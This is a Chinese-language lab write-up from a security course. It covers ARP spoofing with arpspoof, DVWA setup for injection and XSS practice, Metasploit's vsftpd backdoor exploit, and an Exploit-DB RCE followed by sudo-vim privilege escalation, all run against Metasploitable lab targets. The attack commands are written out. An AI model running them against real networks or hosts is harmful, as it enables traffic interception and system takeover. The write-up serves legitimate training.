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ARP Spoofing

ARP Spoofing 攻擊原理

ARP spoofing（也叫 ARP cache poisoning / ARP 欺騙）是攻擊者在同一個 L2

網段內，故意發送偽造的 ARP 回應（或 Gratuitous ARP）讓目標主機把攻擊者的

MAC 地址綁定到另一個 IP（例如閘道或某台主機）。

結果流量被導向攻擊者，造成中間人攻擊（MITM）、封包竊聽、流量篡改或中斷。

1.  sudo apt-get update  將 Kali 的套件庫先進行更新

2.  sudo apt install dsniff -y  

安裝 dsniff，它是一套橋接欺騙工具，可製造封包進行注入

3.  arp -a 

列出該系統當前 ARP 高速緩存記錄的 IP 地址和對應的 MAC 地址



4. 若輸入指令後沒有跑出結果是正常的！

可以嘗試用  nmap -v -sP  某個網段去做掃描再 ping 有 up 的主機

5. 打開 Wireshark 跟 terminal 的介面以便觀察攻擊情況



6.  sudo arpspoof -i eth0 -t <你meta靶機的IP> <要取代的IP>  

<你meta靶機的IP> 是用 ifconfig 指令找到 meta 的 IP

7.  sudo arpspoof -i eth0 -t <你meta靶機的IP> <要取代的IP>  

<要取代的IP> 是你在 arp -a 中選擇的 IP 也就是受害者的 IP

8. 可以看到現在 Kali 正在不斷對受害主機 (172.16.90.2) 洗腦他的 MAC 位址是

00:0c:29:5a:3b:c9 也就是 Kali 的 MAC 位址

9. 若 Wireshark 無法正確抓取封包的畫利用以下指令來開啟 Wireshark 捕捉 arp 封

包

 sudo wireshark -k -i eth0 -f "arp"  



10. 回到 Metasploitable 用  arp -a  查看是否有洗腦成功

11. 這時候若 Metasploitable 要對  172.16.90.2  傳送封包時

就可以在 Kali 上攔截並在 Wireshark 中看到 Metasploitable 傳過來的封包

指令解釋：

 Ping 172.16.90.2  : 對 172.16.90.2發送封包



 sudo wireshark -k -i eth0  : 開啟 Wireshark 來看是否有攔截成功

防禦方法探討

1. 啟用 DHCP snooping + Dynamic ARP Inspection (DAI)

在支援的交換器上啟用 DHCP snooping（建立可靠的 IP↔MAC↔port 對照

表），並啟用 DAI，交換器會拒絕非經授權或不符合 snooping 表的 ARP 回

覆。

2. Port security / MAC binding（埠安全）

限制每個交換埠允許的 MAC 數量或綁定固定 MAC，防止攻擊者在某個埠冒

用 MAC。

3. 使用交換器的 ARP inspection/ARP ACL 功能（若支援）

某些企業交換器可設定 ARP ACL 或靜態 ARP 表來阻擋偽造 ARP。



DVWA 測試 command injection, SQL injection, XSS,

CSRF 等攻擊

Damn Vulnerable Web Application (DVWA) 是模擬易受攻擊的 PHP/MySQL 網頁應

用程式，主要目標是幫助資安專業人員在合法的環境中訓練相關技術，幫助 Web 開發

人員更好地了解保護 Web 應用程序。

1. 在 kali 環境執行

2. 下載DVWA： sudo git clone https://github.com/ethicalhack3r/DVWA.git 

3. 把 DVWA 移到  /var/www/html  的目錄底下，或是直接在  /var/www/html  的目

錄下載 DVWA： sudo cp -r DVWA /var/www/html 

4.  cd /var/www/html 

5. 啟動 Apache 跟 MySQL：

 sudo service apache2 start 

 sudo service mysql start 

6. 查看 port 來確定 Apache 跟 MySQL 是否有正確運行：

 sudo netstat -anpt | grep 80 

 sudo netstat -anpt | grep 3306 

7. 進入 mysql ： sudo mysql -u root -p 

8. 創建 dvwa 資料庫，並查看資料庫：

 create database dvwa; 

 show databases; 

9. 創建一個權限跟  root  一樣的非 root 使用者：

 create user 'dvwa'@'localhost' identified by 'dvwa'; 



10. 建立了一個名為  'dvwa'  的 MySQL 用戶，並將密碼設定為  'dvwa' 。 該用戶只

能從  'localhost'  主機（即本機）連線到 MySQL： grant all on *.* to

'dvwa'@'localhost'; 

給予  'dvwa'@'localhost'  使用者對 MySQL 中的所有資料庫和所有資料表的所

有權限，這意味著該用戶可以執行任何資料庫操作

11. 修改密碼並刷新 MySQL 的權限表，以確保新的權限設定立即生效。

 set password for 'dvwa'@'localhost' = password('123456'); 

 flush privileges; 

 quit; 

 退出 

12. 修改 DVWA 的配置文件：

 cd /var/www/html/DVWA/config 

將目錄底下的  config.inc.php.dist  檔案複製成  config.inc.php 

 sudo cp config.inc.php.dist config.inc.php 

 sudo vim config.inc.php 

修改成這樣

切記密碼必須與剛剛的相同

13.瀏覽器開啟  http://127.0.0.1/DVWA 

登入帳號  adimin  密碼  password  畫面如下就是成功



範例

1. Command Injection
如果沒有在網站的輸入表單中正確過濾敏感字元，攻擊者便可以利用這些注入點，

來允許在運行中的 Server 上執行任意操作系統命令



2. Cross Site Request Forgery (CSRF)
跨站點請求偽造 (CSRF) 是一種攻擊方式，它迫使用戶在 Web 應用程序上執行不

需要的操作。如借助社會工程學（例如通過電子郵件或聊天發送鏈接），攻擊者可



能會誘騙 用戶執行攻擊者選擇的操作。

範例中可以看到密碼在 URL 中以明文顯示



3. DOM Based Cross Site Scripting (XSS)
正常狀況：

嵌入腳本：



Metasploit 滲透框架測試 CVE 漏洞

Metasploit 是一個開源的滲透測試框架，其核心價值在於提供一個高度整合的環境，

內含大量的現成漏洞利用模組 (Exploits)、輔助模組 (Auxiliaries) 和攻擊載荷

(Payloads)。這使滲透測試人員能迅速、高效地依照框架指令，對目標進行弱點掃描與

漏洞驗證等實戰操作。

相對地，本次實驗的目標平台是 Metasploitable，這是一個專為安全測試而設計的虛

擬靶機。它內建了多種已知且具有漏洞的服務，並整合了如 DVWA 等應用程式，使紅

隊成員不僅能模擬對系統層面的攻擊，也能進行網頁應用程式的安全測試。

實驗環境配置 (Lab Environment Setup)

在進行 CVE 漏洞測試之前，我們首先需要部署必要的虛擬環境，主要包含以下兩個核

心組件：

1. 攻擊主機: Kali Linux(內建metasplot)

在此實驗中的ip為10.0.2.15

2. 靶機 : Metasploitable 2

在此實驗中的ip為10.0.2.3

CVE漏洞測試

1. 端口掃描與版本偵測：

我們利用 Nmap (Network Mapper) 工具，執行 服務版本偵測掃描 (-sV)，針對

目標靶機 <靶機 IP 位址> 進行全面的服務資訊收集。



執行指令: nmap -sV <10.0.2.3> 

掃描結果顯示靶機開放了多個服務，其中，FTP 服務的版本為 vsftpd 2.3.4。根據

已知安全漏洞資料庫，此版本因其後門 (Backdoor) 缺陷而具備高風險，因此我們

將其選定為本次 CVE 漏洞驗證的目標服務。



2. 在攻擊機上輸入 msfconsole 指令，啟動metasploit的終端介面。

3. 針對步驟一中識別出的目標服務，我們在 MSF 框架內執行 search vsftpd

2.3.4 。結果準確地匹配到了對應的exploit/unix/ftp/vsftpd_234_backdoor 模

組。

4. 執行指令: use exploit/unix/ftp/vsftpd_234_backdoor  選擇使用該模組，接著

使用 show options 指令，檢查模組所需的配置參數。核心參數為 RHOSTS

(Remote Hosts)，用於指定目標靶機的 IP 位址。

執行指令: set RHOSTS 10.0.2.3 並確認所有必填參數配置完畢後。接著就輸

入 exploit 開始執行，，向目標靶機的 vsftpd 服務發送惡意的Payload。



5. 跑了一陣子後成功在終端介面上顯示found shell，代表成功建立reverse shell了

6. 為了驗證所獲取的 Shell 是否具有實際的執行權限，我們開始進行操作測試：

瀏覽目標系統檔案： 首先執行 ls -al 等指令，成功列出了當前工作目錄下的檔案

與目錄清單，證明攻擊者已具備在目標靶機上遠程執行命令的能力。

成果寫入與視覺化證明： 為了更清楚地展現實驗成果，我們利用 Shell 權限在當前

資料目錄中新增了一個名為 exploit.txt 的檔案，並寫入了 "you have been

hacked" 的字串。

7. 回到metasploitable後，檢查目錄並執行指令sudo cat exploit.txt後，成功顯

示"you have been hacked"，展現了實驗的成果。





其他有興趣的攻擊實作

此次實驗靶機嘗試不利用 Metasploit 框架進行滲透測試，而是以常規真實環境進行：

1. 系統套件版本識別

2. 漏洞識別

3. exploit 開發

4. vulnerability exploitation

此次實驗更貼近實際滲透，但也包含了後滲透(一般滲透測試專案無後滲透)，嘗試在取

得靶機控制權線後，進一步提權。

Recon

1. Port scan

發現目標開啟 22, 80, 8080

服務掃描



2. 存取 80 port 與 8080 port 介面一樣

3. google 發現，有漏洞的似乎是 .15 、 .16 



exploitDB： 3.3.16  有 RCE 漏洞

https://www.exploit-db.com/exploits/52168 (https://www.exploit-

db.com/exploits/52168)

Vulnerability Exploitation

4. 試著把上面找到的exploit拿來用

https://www.exploit-db.com/exploits/52168
https://www.exploit-db.com/exploits/52168


5. RCE 結果確認有收到 reverse shell

 whoami ,  id 

Privilege Escalation

6. 受駭主機有 vim 可以用superuser執行

7. 嘗試濫用 sudo 配置： sudo vim -c ':!/bin/sh' 

順利提權：




